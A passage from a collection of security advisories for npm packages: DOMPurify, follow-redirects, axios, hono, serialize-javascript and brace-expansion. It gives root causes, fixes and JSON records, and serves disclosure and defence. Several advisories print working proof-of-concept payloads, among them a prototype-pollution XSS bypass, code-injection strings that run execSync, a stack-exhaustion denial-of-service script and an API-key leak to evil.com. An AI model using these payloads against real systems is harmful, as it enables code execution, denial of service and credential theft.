- Config required: Default. No special DOMPurify configuration needed. The standard
DOMPurify.sanitize(userInput)call is affected. - Payload: Any HTML custom element (name containing a hyphen) with event handler attributes survives sanitization
Proof of Concept
// Step 1: Attacker exploits a prototype pollution gadget elsewhere in the application
Object.prototype.tagNameCheck = /.*/;
Object.prototype.attributeNameCheck = /.*/;
// Step 2: Application sanitizes user input with DEFAULT config
const clean = DOMPurify.sanitize('<x-x onfocus=alert(document.cookie) tabindex=0 autofocus>');
// Step 3: "Sanitized" output still contains the event handler
console.log(clean);
// Output: <x-x onfocus="alert(document.cookie)" tabindex="0" autofocus="">
// Step 4: When injected into DOM, XSS executes
document.body.innerHTML = clean; // alert() fires
Tested configurations that are vulnerable:
| Call Pattern | Vulnerable? |
|---|---|
DOMPurify.sanitize(input) |
YES |
DOMPurify.sanitize(input, {}) |
YES |
DOMPurify.sanitize(input, { CUSTOM_ELEMENT_HANDLING: null }) |
YES |
DOMPurify.sanitize(input, { CUSTOM_ELEMENT_HANDLING: {} }) |
NO (explicit object triggers L591 path) |
Suggested Fix
Change line 590 from:
CUSTOM_ELEMENT_HANDLING = cfg.CUSTOM_ELEMENT_HANDLING || {};
To:
CUSTOM_ELEMENT_HANDLING = cfg.CUSTOM_ELEMENT_HANDLING || create(null);
The create(null) function (already used elsewhere in DOMPurify, e.g., in clone()) creates an object with no prototype, preventing prototype chain inheritance.
Alternative application-level mitigation:
Applications can protect themselves by always providing an explicit CUSTOM_ELEMENT_HANDLING in their config:
DOMPurify.sanitize(input, {
CUSTOM_ELEMENT_HANDLING: {
tagNameCheck: null,
attributeNameCheck: null
}
});
Timeline
- 2026-04-04: Vulnerability discovered during automated DOMPurify fuzzing research (Fermat project)
- 2026-04-04: Confirmed in Chrome browser with DOMPurify 3.3.3
- 2026-04-04: Verified distinct from GHSA-cj63-jhhr-wcxv and CVE-2024-45801
- 2026-04-04: Advisory drafted, responsible disclosure initiated
Credit
https://github.com/trace37labs
{
"affected": [
{
"package": {
"ecosystem": "npm",
"name": "dompurify"
},
"ranges": [
{
"events": [
{
"introduced": "3.0.1"
},
{
"fixed": "3.4.0"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-41238"
],
"database_specific": {
"cwe_ids": [
"CWE-1321",
"CWE-79"
],
"github_reviewed": true,
"github_reviewed_at": "2026-04-22T17:31:32Z",
"nvd_published_at": "2026-04-23T16:16:26Z",
"severity": "MODERATE"
},
"details": "## Summary\n\nDOMPurify versions 3.0.1 through 3.3.3 (latest) are vulnerable to a prototype pollution-based XSS bypass. When an application uses `DOMPurify.sanitize()` with the default configuration (no `CUSTOM_ELEMENT_HANDLING` option), a prior prototype pollution gadget can inject permissive `tagNameCheck` and `attributeNameCheck` regex values into `Object.prototype`, causing DOMPurify to allow arbitrary custom elements with arbitrary attributes \u2014 including event handlers \u2014 through sanitization.\n\n## Affected Versions\n\n- **3.0.1 through 3.3.3** (current latest) \u2014 all affected\n- **3.0.0 and all 2.x versions** \u2014 NOT affected (used `Object.create(null)` for initialization, no `|| {}` reassignment)\n- The vulnerable `|| {}` reassignment was introduced in the 3.0.0\u21923.0.1 refactor\n- This is **distinct** from GHSA-cj63-jhhr-wcxv (USE_PROFILES Array.prototype pollution, fixed in 3.3.2)\n- This is **distinct** from CVE-2024-45801 / GHSA-mmhx-hmjr-r674 (__depth prototype pollution, fixed in 3.1.3)\n\n## Root Cause\n\nIn `purify.js` at line 590, during config parsing:\n\n```javascript\nCUSTOM_ELEMENT_HANDLING = cfg.CUSTOM_ELEMENT_HANDLING || {};\n```\n\nWhen no `CUSTOM_ELEMENT_HANDLING` is specified in the config (the default usage pattern), `cfg.CUSTOM_ELEMENT_HANDLING` is `undefined`, and the fallback `{}` is used. This plain object inherits from `Object.prototype`.\n\nLines 591-598 then check `cfg.CUSTOM_ELEMENT_HANDLING` (the original config property) \u2014 which is `undefined` \u2014 so the conditional blocks that would set `tagNameCheck` and `attributeNameCheck` from the config are never entered.\n\nAs a result, `CUSTOM_ELEMENT_HANDLING.tagNameCheck` and `CUSTOM_ELEMENT_HANDLING.attributeNameCheck` resolve via the prototype chain. If an attacker has polluted `Object.prototype.tagNameCheck` and `Object.prototype.attributeNameCheck` with permissive values (e.g., `/.*/`), these polluted values flow into DOMPurify\u0027s custom element validation at lines 973-977 and attribute validation, causing all custom elements and all attributes to be allowed.\n\n## Impact\n\n- **Attack type:** XSS bypass via prototype pollution chain\n- **Prerequisites:** Attacker must have a prototype pollution primitive in the same execution context (e.g., vulnerable version of lodash, jQuery.extend, query-string parser, deep merge utility, or any other PP gadget)\n- **Config required:** Default. No special DOMPurify configuration needed. The standard `DOMPurify.sanitize(userInput)` call is affected.\n- **Payload:** Any HTML custom element (name containing a hyphen) with event handler attributes survives sanitization\n\n## Proof of Concept\n\n```javascript\n// Step 1: Attacker exploits a prototype pollution gadget elsewhere in the application\nObject.prototype.tagNameCheck = /.*/;\nObject.prototype.attributeNameCheck = /.*/;\n\n// Step 2: Application sanitizes user input with DEFAULT config\nconst clean = DOMPurify.sanitize(\u0027\u003cx-x onfocus=alert(document.cookie) tabindex=0 autofocus\u003e\u0027);\n\n// Step 3: \"Sanitized\" output still contains the event handler\nconsole.log(clean);\n// Output: \u003cx-x onfocus=\"alert(document.cookie)\" tabindex=\"0\" autofocus=\"\"\u003e\n\n// Step 4: When injected into DOM, XSS executes\ndocument.body.innerHTML = clean; // alert() fires\n```\n\n### Tested configurations that are vulnerable:\n\n| Call Pattern | Vulnerable? |\n|---|---|\n| `DOMPurify.sanitize(input)` | YES |\n| `DOMPurify.sanitize(input, {})` | YES |\n| `DOMPurify.sanitize(input, { CUSTOM_ELEMENT_HANDLING: null })` | YES |\n| `DOMPurify.sanitize(input, { CUSTOM_ELEMENT_HANDLING: {} })` | NO (explicit object triggers L591 path) |\n\n## Suggested Fix\n\nChange line 590 from:\n```javascript\nCUSTOM_ELEMENT_HANDLING = cfg.CUSTOM_ELEMENT_HANDLING || {};\n```\n\nTo:\n```javascript\nCUSTOM_ELEMENT_HANDLING = cfg.CUSTOM_ELEMENT_HANDLING || create(null);\n```\n\nThe `create(null)` function (already used elsewhere in DOMPurify, e.g., in `clone()`) creates an object with no prototype, preventing prototype chain inheritance.\n\n### Alternative application-level mitigation:\n\nApplications can protect themselves by always providing an explicit `CUSTOM_ELEMENT_HANDLING` in their config:\n\n```javascript\nDOMPurify.sanitize(input, {\n CUSTOM_ELEMENT_HANDLING: {\n tagNameCheck: null,\n attributeNameCheck: null\n }\n});\n```\n\n## Timeline\n\n- **2026-04-04:** Vulnerability discovered during automated DOMPurify fuzzing research (Fermat project)\n- **2026-04-04:** Confirmed in Chrome browser with DOMPurify 3.3.3\n- **2026-04-04:** Verified distinct from GHSA-cj63-jhhr-wcxv and CVE-2024-45801\n- **2026-04-04:** Advisory drafted, responsible disclosure initiated\n\n## Credit\n\nhttps://github.com/trace37labs",
"id": "GHSA-v9jr-rg53-9pgp",
"modified": "2026-04-27T16:32:03Z",
"published": "2026-04-22T17:31:32Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/cure53/DOMPurify/security/advisories/GHSA-v9jr-rg53-9pgp"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-41238"
},
{
"type": "PACKAGE",
"url": "https://github.com/cure53/DOMPurify"
},
{
"type": "WEB",
"url": "https://github.com/cure53/DOMPurify/releases/tag/3.4.0"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:C/C:H/I:L/A:N",
"type": "CVSS_V3"
}
],
"summary": "DOMPurify: Prototype Pollution to XSS Bypass via CUSTOM_ELEMENT_HANDLING Fallback"
}
GHSA-R4Q5-VMMM-2653
Vulnerability from github – Published: 2026-04-14 01:11 – Updated: 2026-04-14 01:11Summary
When an HTTP request follows a cross-domain redirect (301/302/307/308), follow-redirects only strips authorization, proxy-authorization, and cookie headers (matched by regex at index.js:469-476). Any custom authentication header (e.g., X-API-Key, X-Auth-Token, Api-Key, Token) is forwarded verbatim to the redirect target.
Since follow-redirects is the redirect-handling dependency for axios (105K+ stars), this vulnerability affects the entire axios ecosystem.
Affected Code
index.js, lines 469-476:
if (redirectUrl.protocol !== currentUrlParts.protocol &&
redirectUrl.protocol !== "https:" ||
redirectUrl.host !== currentHost &&
!isSubdomain(redirectUrl.host, currentHost)) {
removeMatchingHeaders(/^(?:(?:proxy-)?authorization|cookie)$/i, this._options.headers);
}
The regex only matches authorization, proxy-authorization, and cookie. Custom headers like X-API-Key are not matched.
Attack Scenario
- App uses axios with custom auth header:
headers: { 'X-API-Key': 'sk-live-secret123' } - Server returns
302 Location: https://evil.com/steal - follow-redirects sends
X-API-Key: sk-live-secret123toevil.com - Attacker captures the API key
Impact
Any custom auth header set via axios leaks on cross-domain redirect. Extremely common pattern. Affects all axios users in Node.js.
Suggested Fix
Add a sensitiveHeaders option that users can extend, or strip ALL non-standard headers on cross-domain redirect.
Disclosure
Source code review, manually verified. Found 2026-03-20.
{
"affected": [
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 1.15.11"
},
"package": {
"ecosystem": "npm",
"name": "follow-redirects"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "1.16.0"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [],
"database_specific": {
"cwe_ids": [
"CWE-200"
],
"github_reviewed": true,
"github_reviewed_at": "2026-04-14T01:11:11Z",
"nvd_published_at": null,
"severity": "MODERATE"
},
"details": "## Summary\n\nWhen an HTTP request follows a cross-domain redirect (301/302/307/308), `follow-redirects` only strips `authorization`, `proxy-authorization`, and `cookie` headers (matched by regex at index.js:469-476). Any custom authentication header (e.g., `X-API-Key`, `X-Auth-Token`, `Api-Key`, `Token`) is forwarded verbatim to the redirect target.\n\nSince `follow-redirects` is the redirect-handling dependency for **axios** (105K+ stars), this vulnerability affects the entire axios ecosystem.\n\n## Affected Code\n\n`index.js`, lines 469-476:\n\n```javascript\nif (redirectUrl.protocol !== currentUrlParts.protocol \u0026\u0026\n redirectUrl.protocol !== \"https:\" ||\n redirectUrl.host !== currentHost \u0026\u0026\n !isSubdomain(redirectUrl.host, currentHost)) {\n removeMatchingHeaders(/^(?:(?:proxy-)?authorization|cookie)$/i, this._options.headers);\n}\n```\n\nThe regex only matches `authorization`, `proxy-authorization`, and `cookie`. Custom headers like `X-API-Key` are not matched.\n\n## Attack Scenario\n\n1. App uses axios with custom auth header: `headers: { \u0027X-API-Key\u0027: \u0027sk-live-secret123\u0027 }`\n2. Server returns `302 Location: https://evil.com/steal`\n3. follow-redirects sends `X-API-Key: sk-live-secret123` to `evil.com`\n4. Attacker captures the API key\n\n## Impact\n\nAny custom auth header set via axios leaks on cross-domain redirect. Extremely common pattern. Affects all axios users in Node.js.\n\n## Suggested Fix\n\nAdd a `sensitiveHeaders` option that users can extend, or strip ALL non-standard headers on cross-domain redirect.\n\n## Disclosure\n\nSource code review, manually verified. Found 2026-03-20.",
"id": "GHSA-r4q5-vmmm-2653",
"modified": "2026-04-14T01:11:11Z",
"published": "2026-04-14T01:11:11Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/follow-redirects/follow-redirects/security/advisories/GHSA-r4q5-vmmm-2653"
},
{
"type": "WEB",
"url": "https://github.com/follow-redirects/follow-redirects/commit/844c4d302ac963d29bdb5dc1754ec7df3d70d7f9"
},
{
"type": "PACKAGE",
"url": "https://github.com/follow-redirects/follow-redirects"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:L/VI:N/VA:N/SC:N/SI:N/SA:N",
"type": "CVSS_V4"
}
],
"summary": "follow-redirects leaks Custom Authentication Headers to Cross-Domain Redirect Targets"
}
GHSA-62HF-57XW-28J9
Vulnerability from github – Published: 2026-05-05 00:34 – Updated: 2026-06-08 15:54Summary
toFormData recursively walks nested objects with no depth limit, so a deeply nested value passed as request data crashes the Node.js process with a RangeError.
Details
lib/helpers/toFormData.js:210 defines an inner build(value, path) that recurses into every object/array child (line 225: build(el, path ? path.concat(key) : [key])). The only safeguard is a stack array used to detect circular references; there is no maximum depth and no try/catch around the recursion. Because build calls itself once per nesting level, a payload nested roughly 2000+ levels deep exhausts V8's call stack.
toFormData is the serializer behind FormData request bodies and AxiosURLSearchParams (used by buildURL when params is an object with URLSearchParams unavailable, see lib/helpers/buildURL.js:53 and lib/helpers/AxiosURLSearchParams.js:36). Any server-side code that forwards a client-supplied object into axios({ data, params }) therefore reaches the recursive walker with attacker-controlled depth.
The RangeError is thrown synchronously from inside forEach, escapes toFormData, and propagates out of the axios request call. In typical Express/Fastify request handlers this terminates the running request; in synchronous startup paths or worker threads it can crash the whole process.
PoC
import toFormData from 'axios/lib/helpers/toFormData.js';
import FormData from 'form-data';
function nest(depth) {
let o = { leaf: 1 };
for (let i = 0; i < depth; i++) o = { a: o };
return o;
}
try {
toFormData(nest(2500), new FormData());
} catch (e) {
console.log(e.name + ': ' + e.message);
}
// RangeError: Maximum call stack size exceeded
Server-side reachability example:
// vulnerable proxy pattern
app.post('/forward', async (req, res) => {
await axios.post('https://upstream/api', req.body); // req.body user-controlled
res.send('ok');
});
// attacker POST /forward with {"a":{"a":{"a":... 2500 deep ...}}}
// -> toFormData build() overflows -> request handler crashes
Verified on axios 1.15.0 (latest, 2026-04-10), Node.js 20, 3/3 PoC runs reproduce the RangeError at depth 2500.
Impact
A remote, unauthenticated attacker who can influence an object passed to axios as request data or params triggers an uncaught RangeError inside the synchronous recursive walker. In server-side applications that proxy or re-send client JSON through axios this crashes the request handler and, in worker/cluster setups, the process. Fix by bounding recursion depth in toFormData's build function (reject or throw on depths beyond a configurable limit, e.g. 100) or rewriting the walker iteratively.
{
"affected": [
{
"package": {
"ecosystem": "npm",
"name": "axios"
},
"ranges": [
{
"events": [
{
"introduced": "1.0.0"
},
{
"fixed": "1.15.1"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 0.31.0"
},
"package": {
"ecosystem": "npm",
"name": "axios"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "0.31.1"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-42039"
],
"database_specific": {
"cwe_ids": [
"CWE-674"
],
"github_reviewed": true,
"github_reviewed_at": "2026-05-05T00:34:32Z",
"nvd_published_at": "2026-04-24T18:16:30Z",
"severity": "MODERATE"
},
"details": "### Summary\ntoFormData recursively walks nested objects with no depth limit, so a deeply nested value passed as request data crashes the Node.js process with a RangeError.\n\n### Details\nlib/helpers/toFormData.js:210 defines an inner `build(value, path)` that recurses into every object/array child (line 225: `build(el, path ? path.concat(key) : [key])`). The only safeguard is a `stack` array used to detect circular references; there is no maximum depth and no try/catch around the recursion. Because `build` calls itself once per nesting level, a payload nested roughly 2000+ levels deep exhausts V8\u0027s call stack.\n\n`toFormData` is the serializer behind `FormData` request bodies and `AxiosURLSearchParams` (used by `buildURL` when `params` is an object with `URLSearchParams` unavailable, see `lib/helpers/buildURL.js:53` and `lib/helpers/AxiosURLSearchParams.js:36`). Any server-side code that forwards a client-supplied object into `axios({ data, params })` therefore reaches the recursive walker with attacker-controlled depth.\n\nThe RangeError is thrown synchronously from inside `forEach`, escapes `toFormData`, and propagates out of the axios request call. In typical Express/Fastify request handlers this terminates the running request; in synchronous startup paths or worker threads it can crash the whole process.\n\n### PoC\n```js\nimport toFormData from \u0027axios/lib/helpers/toFormData.js\u0027;\nimport FormData from \u0027form-data\u0027;\n\nfunction nest(depth) {\n let o = { leaf: 1 };\n for (let i = 0; i \u003c depth; i++) o = { a: o };\n return o;\n}\n\ntry {\n toFormData(nest(2500), new FormData());\n} catch (e) {\n console.log(e.name + \u0027: \u0027 + e.message);\n}\n// RangeError: Maximum call stack size exceeded\n```\n\nServer-side reachability example:\n```js\n// vulnerable proxy pattern\napp.post(\u0027/forward\u0027, async (req, res) =\u003e {\n await axios.post(\u0027https://upstream/api\u0027, req.body); // req.body user-controlled\n res.send(\u0027ok\u0027);\n});\n// attacker POST /forward with {\"a\":{\"a\":{\"a\":... 2500 deep ...}}}\n// -\u003e toFormData build() overflows -\u003e request handler crashes\n```\n\nVerified on axios 1.15.0 (latest, 2026-04-10), Node.js 20, 3/3 PoC runs reproduce the RangeError at depth 2500.\n\n### Impact\nA remote, unauthenticated attacker who can influence an object passed to axios as request `data` or `params` triggers an uncaught RangeError inside the synchronous recursive walker. In server-side applications that proxy or re-send client JSON through axios this crashes the request handler and, in worker/cluster setups, the process. Fix by bounding recursion depth in `toFormData`\u0027s `build` function (reject or throw on depths beyond a configurable limit, e.g. 100) or rewriting the walker iteratively.",
"id": "GHSA-62hf-57xw-28j9",
"modified": "2026-06-08T15:54:28Z",
"published": "2026-05-05T00:34:32Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/axios/axios/security/advisories/GHSA-62hf-57xw-28j9"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-42039"
},
{
"type": "WEB",
"url": "https://github.com/axios/axios/commit/85132ffba1a77609ea5d101c8a413dea7174932f"
},
{
"type": "PACKAGE",
"url": "https://github.com/axios/axios"
},
{
"type": "WEB",
"url": "https://github.com/axios/axios/releases/tag/v1.15.1"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"type": "CVSS_V3"
},
{
"score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:L/SC:N/SI:N/SA:N",
"type": "CVSS_V4"
}
],
"summary": "Axios: unbounded recursion in toFormData causes DoS via deeply nested request data"
}
GHSA-26PP-8WGV-HJVM
Vulnerability from github – Published: 2026-04-08 00:17 – Updated: 2026-04-08 00:17Summary
Cookie names are not validated on the write path when using setCookie(), serialize(), or serializeSigned() to generate Set-Cookie headers.
While certain cookie attributes such as domain and path are validated, the cookie name itself may contain invalid characters.
This results in inconsistent handling of cookie names between parsing (read path) and serialization (write path).
Details
When applications use setCookie(), serialize(), or serializeSigned() with a user-controlled cookie name, invalid values (e.g., containing control characters such as \r or \n) can be used to construct malformed Set-Cookie header values.
For example:
Set-Cookie: legit
X-Injected: evil=value
However, in modern runtimes such as Node.js and Cloudflare Workers, such invalid header values are rejected and result in a runtime error before the response is sent.
As a result, the reported header injection / response splitting behavior could not be reproduced in these environments.
Impact
Applications that pass untrusted input as the cookie name to setCookie(), serialize(), or serializeSigned() may encounter runtime errors due to invalid header values.
In tested environments, malformed Set-Cookie headers are rejected before being sent, and the reported header injection behavior could not be reproduced.
This issue primarily affects correctness and robustness rather than introducing a confirmed exploitable vulnerability.
{
"affected": [
{
"package": {
"ecosystem": "npm",
"name": "hono"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "4.12.12"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [],
"database_specific": {
"cwe_ids": [
"CWE-113"
],
"github_reviewed": true,
"github_reviewed_at": "2026-04-08T00:17:02Z",
"nvd_published_at": null,
"severity": "MODERATE"
},
"details": "## Summary\n\nCookie names are not validated on the write path when using `setCookie()`, `serialize()`, or `serializeSigned()` to generate Set-Cookie headers.\n\nWhile certain cookie attributes such as domain and path are validated, the cookie name itself may contain invalid characters.\n\nThis results in inconsistent handling of cookie names between parsing (read path) and serialization (write path).\n\n## Details\n\nWhen applications use `setCookie()`, `serialize()`, or `serializeSigned()` with a user-controlled cookie name, invalid values (e.g., containing control characters such as `\\r` or `\\n`) can be used to construct malformed `Set-Cookie` header values.\n\nFor example:\n\n```\nSet-Cookie: legit\nX-Injected: evil=value\n```\n\nHowever, in modern runtimes such as Node.js and Cloudflare Workers, such invalid header values are rejected and result in a runtime error before the response is sent.\n\nAs a result, the reported header injection / response splitting behavior could not be reproduced in these environments.\n\n## Impact\n\nApplications that pass untrusted input as the cookie name to `setCookie()`, `serialize()`, or `serializeSigned()` may encounter runtime errors due to invalid header values.\n\nIn tested environments, malformed `Set-Cookie` headers are rejected before being sent, and the reported header injection behavior could not be reproduced.\n\nThis issue primarily affects correctness and robustness rather than introducing a confirmed exploitable vulnerability.",
"id": "GHSA-26pp-8wgv-hjvm",
"modified": "2026-04-08T00:17:02Z",
"published": "2026-04-08T00:17:02Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/honojs/hono/security/advisories/GHSA-26pp-8wgv-hjvm"
},
{
"type": "WEB",
"url": "https://github.com/honojs/hono/commit/a586cd72e3f6122792e631ecf1817e5cabb803ec"
},
{
"type": "PACKAGE",
"url": "https://github.com/honojs/hono"
},
{
"type": "WEB",
"url": "https://github.com/honojs/hono/releases/tag/v4.12.12"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L",
"type": "CVSS_V3"
}
],
"summary": "Hono missing validation of cookie name on write path in setCookie()"
}
GHSA-5C6J-R48X-RMVQ
Vulnerability from github – Published: 2026-02-28 02:50 – Updated: 2026-03-02 16:17Impact
The serialize-javascript npm package (versions <= 7.0.2) contains a code injection vulnerability. It is an incomplete fix for CVE-2020-7660.
While RegExp.source is sanitized, RegExp.flags is interpolated directly into the generated output without escaping. A similar issue exists in Date.prototype.toISOString().
If an attacker can control the input object passed to serialize(), they can inject malicious JavaScript via the flags property of a RegExp object. When the serialized string is later evaluated (via eval, new Function, or <script> tags), the injected code executes.
const serialize = require('serialize-javascript');
// Create an object that passes instanceof RegExp with a spoofed .flags
const fakeRegex = Object.create(RegExp.prototype);
Object.defineProperty(fakeRegex, 'source', { get: () => 'x' });
Object.defineProperty(fakeRegex, 'flags', {
get: () => '"+(global.PWNED="CODE_INJECTION_VIA_FLAGS")+"'
});
fakeRegex.toJSON = function() { return '@placeholder'; };
const output = serialize({ re: fakeRegex });
// Output: {"re":new RegExp("x", ""+(global.PWNED="CODE_INJECTION_VIA_FLAGS")+"")}
let obj;
eval('obj = ' + output);
console.log(global.PWNED); // "CODE_INJECTION_VIA_FLAGS" — injected code executed!
#h2. PoC 2: Code Injection via Date.toISOString()
const serialize = require('serialize-javascript');
const fakeDate = Object.create(Date.prototype);
fakeDate.toISOString = function() { return '"+(global.DATE_PWNED="DATE_INJECTION")+"'; };
fakeDate.toJSON = function() { return '2024-01-01'; };
const output = serialize({ d: fakeDate });
// Output: {"d":new Date(""+(global.DATE_PWNED="DATE_INJECTION")+"")}
eval('obj = ' + output);
console.log(global.DATE_PWNED); // "DATE_INJECTION" — injected code executed!
#h2. PoC 3: Remote Code Execution
const serialize = require('serialize-javascript');
const rceRegex = Object.create(RegExp.prototype);
Object.defineProperty(rceRegex, 'source', { get: () => 'x' });
Object.defineProperty(rceRegex, 'flags', {
get: () => '"+require("child_process").execSync("id").toString()+"'
});
rceRegex.toJSON = function() { return '@rce'; };
const output = serialize({ re: rceRegex });
// Output: {"re":new RegExp("x", ""+require("child_process").execSync("id").toString()+"")}
// When eval'd on a Node.js server, executes the "id" system command
Patches
The fix has been published in version 7.0.3. https://github.com/yahoo/serialize-javascript/releases/tag/v7.0.3
{
"affected": [
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 7.0.2"
},
"package": {
"ecosystem": "npm",
"name": "serialize-javascript"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "7.0.3"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [],
"database_specific": {
"cwe_ids": [
"CWE-96"
],
"github_reviewed": true,
"github_reviewed_at": "2026-02-28T02:50:45Z",
"nvd_published_at": null,
"severity": "HIGH"
},
"details": "### Impact\n\nThe serialize-javascript npm package (versions \u003c= 7.0.2) contains a code injection vulnerability. It is an incomplete fix for CVE-2020-7660.\n\nWhile `RegExp.source` is sanitized, `RegExp.flags` is interpolated directly into the generated output without escaping. A similar issue exists in `Date.prototype.toISOString()`.\n\nIf an attacker can control the input object passed to `serialize()`, they can inject malicious JavaScript via the flags property of a RegExp object. When the serialized string is later evaluated (via `eval`, `new Function`, or `\u003cscript\u003e` tags), the injected code executes.\n\n```javascript\nconst serialize = require(\u0027serialize-javascript\u0027);\n// Create an object that passes instanceof RegExp with a spoofed .flags\nconst fakeRegex = Object.create(RegExp.prototype);\nObject.defineProperty(fakeRegex, \u0027source\u0027, { get: () =\u003e \u0027x\u0027 });\nObject.defineProperty(fakeRegex, \u0027flags\u0027, {\n get: () =\u003e \u0027\"+(global.PWNED=\"CODE_INJECTION_VIA_FLAGS\")+\"\u0027\n});\nfakeRegex.toJSON = function() { return \u0027@placeholder\u0027; };\nconst output = serialize({ re: fakeRegex });\n// Output: {\"re\":new RegExp(\"x\", \"\"+(global.PWNED=\"CODE_INJECTION_VIA_FLAGS\")+\"\")}\nlet obj;\neval(\u0027obj = \u0027 + output);\nconsole.log(global.PWNED); // \"CODE_INJECTION_VIA_FLAGS\" \u2014 injected code executed!\n#h2. PoC 2: Code Injection via Date.toISOString()\n```\n\n```javascript\nconst serialize = require(\u0027serialize-javascript\u0027);\nconst fakeDate = Object.create(Date.prototype);\nfakeDate.toISOString = function() { return \u0027\"+(global.DATE_PWNED=\"DATE_INJECTION\")+\"\u0027; };\nfakeDate.toJSON = function() { return \u00272024-01-01\u0027; };\nconst output = serialize({ d: fakeDate });\n// Output: {\"d\":new Date(\"\"+(global.DATE_PWNED=\"DATE_INJECTION\")+\"\")}\neval(\u0027obj = \u0027 + output);\nconsole.log(global.DATE_PWNED); // \"DATE_INJECTION\" \u2014 injected code executed!\n#h2. PoC 3: Remote Code Execution\n```\n\n```javascript\nconst serialize = require(\u0027serialize-javascript\u0027);\nconst rceRegex = Object.create(RegExp.prototype);\nObject.defineProperty(rceRegex, \u0027source\u0027, { get: () =\u003e \u0027x\u0027 });\nObject.defineProperty(rceRegex, \u0027flags\u0027, {\n get: () =\u003e \u0027\"+require(\"child_process\").execSync(\"id\").toString()+\"\u0027\n});\nrceRegex.toJSON = function() { return \u0027@rce\u0027; };\nconst output = serialize({ re: rceRegex });\n// Output: {\"re\":new RegExp(\"x\", \"\"+require(\"child_process\").execSync(\"id\").toString()+\"\")}\n// When eval\u0027d on a Node.js server, executes the \"id\" system command\n```\n\n### Patches\n\nThe fix has been published in version 7.0.3. https://github.com/yahoo/serialize-javascript/releases/tag/v7.0.3",
"id": "GHSA-5c6j-r48x-rmvq",
"modified": "2026-03-02T16:17:35Z",
"published": "2026-02-28T02:50:45Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/yahoo/serialize-javascript/security/advisories/GHSA-5c6j-r48x-rmvq"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2020-7660"
},
{
"type": "WEB",
"url": "https://github.com/yahoo/serialize-javascript/commit/2e609d0a9f4f5b097f0945af88bd45b9c7fb48d9"
},
{
"type": "ADVISORY",
"url": "https://github.com/advisories/GHSA-hxcc-f52p-wc94"
},
{
"type": "PACKAGE",
"url": "https://github.com/yahoo/serialize-javascript"
},
{
"type": "WEB",
"url": "https://github.com/yahoo/serialize-javascript/releases/tag/v7.0.3"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
],
"summary": "Serialize JavaScript is Vulnerable to RCE via RegExp.flags and Date.prototype.toISOString()"
}
GHSA-F886-M6HF-6M8V
Vulnerability from github – Published: 2026-03-26 18:29 – Updated: 2026-03-27 21:38Impact
A brace pattern with a zero step value (e.g., {1..2..0}) causes the sequence generation loop to run indefinitely, making the process hang for seconds and allocate heaps of memory.
The loop in question:
https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts#L184
test() is one of
https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts#L107-L113
The increment is computed as Math.abs(0) = 0, so the loop variable never advances. On a test machine, the process hangs for about 3.5 seconds and allocates roughly 1.9 GB of memory before throwing a RangeError. Setting max to any value has no effect because the limit is only checked at the output combination step, not during sequence generation.
This affects any application that passes untrusted strings to expand(), or by error sets a step value of 0. That includes tools built on minimatch/glob that resolve patterns from CLI arguments or config files. The input needed is just 10 bytes.
Patches
Upgrade to versions - 5.0.5+
A step increment of 0 is now sanitized to 1, which matches bash behavior.
Workarounds
Sanitize strings passed to expand() to ensure a step value of 0 is not used.
{
"affected": [
{
"package": {
"ecosystem": "npm",
"name": "brace-expansion"
},
"ranges": [
{
"events": [
{
"introduced": "4.0.0"
},
{
"fixed": "5.0.5"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "npm",
"name": "brace-expansion"
},
"ranges": [
{
"events": [
{
"introduced": "3.0.0"
},
{
"fixed": "3.0.2"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "npm",
"name": "brace-expansion"
},
"ranges": [
{
"events": [
{
"introduced": "2.0.0"
},
{
"fixed": "2.0.3"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "npm",
"name": "brace-expansion"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "1.1.13"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-33750"
],
"database_specific": {
"cwe_ids": [
"CWE-400"
],
"github_reviewed": true,
"github_reviewed_at": "2026-03-26T18:29:42Z",
"nvd_published_at": "2026-03-27T15:16:57Z",
"severity": "MODERATE"
},
